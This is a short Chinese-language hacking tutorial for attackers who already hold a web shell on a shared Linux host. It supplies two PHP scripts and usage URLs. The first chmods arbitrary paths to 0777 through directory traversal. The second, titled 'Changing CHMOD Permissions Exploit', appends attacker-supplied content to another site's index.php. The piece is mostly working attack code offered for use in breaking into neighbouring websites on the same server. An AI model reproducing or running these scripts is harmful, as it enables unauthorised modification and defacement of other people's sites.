當我們擁有了一個linux下的shell(伺服器上多個網站)。
這個shell對所在網站的根目錄有可寫入許可權,甚至能查看其他網站的目錄。
那麼,這樣的主機設定肯定是不安全的。
有的時候,我們想對獲得同伺服器的其他站的許可權,比如直接對其他網站的index.php進行修改,卻發現沒有許可權。
我們可以嘗試通過以下指令碼來實現對其他網站的檔案添加許可權。
代碼:
<?php
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo " CHMOD OK , Permission editable file or directory. Permission to write";
?>
儲存為chmod.PHP
使用方法簡單,訪問
http://site/chmod.php?path=../../其他網站的目錄/index.php
這裡的index.PHP是要修改許可權的檔案。
另外一個exploit:
把下面的代碼儲存為exploit.PHP
代碼:
<?php
@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen("{$_POST['filename']}", 'a');
@fputs($fp,"$mess <hr size="1" color="black">");
@fclose($fp);
?>
<form name="form1" action="exploit.php" method="post">
<p align="center"><b>
<br>
CODE :<br>
<textarea name="mess" rows="3"></textarea></font></b></textarea>
</font></b> <p><input type="hidden" name="filename" value="../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php"></p>
<center>
<input type="reset" name="Submit" value="Delete">
<input name="go" type="submit" value="Send" onClick="javascript:this.style.visibility ='hidden';">
<center>
</form>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Changing CHMOD Permissions Exploit - Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>
</head>
<body>
</center>
</body>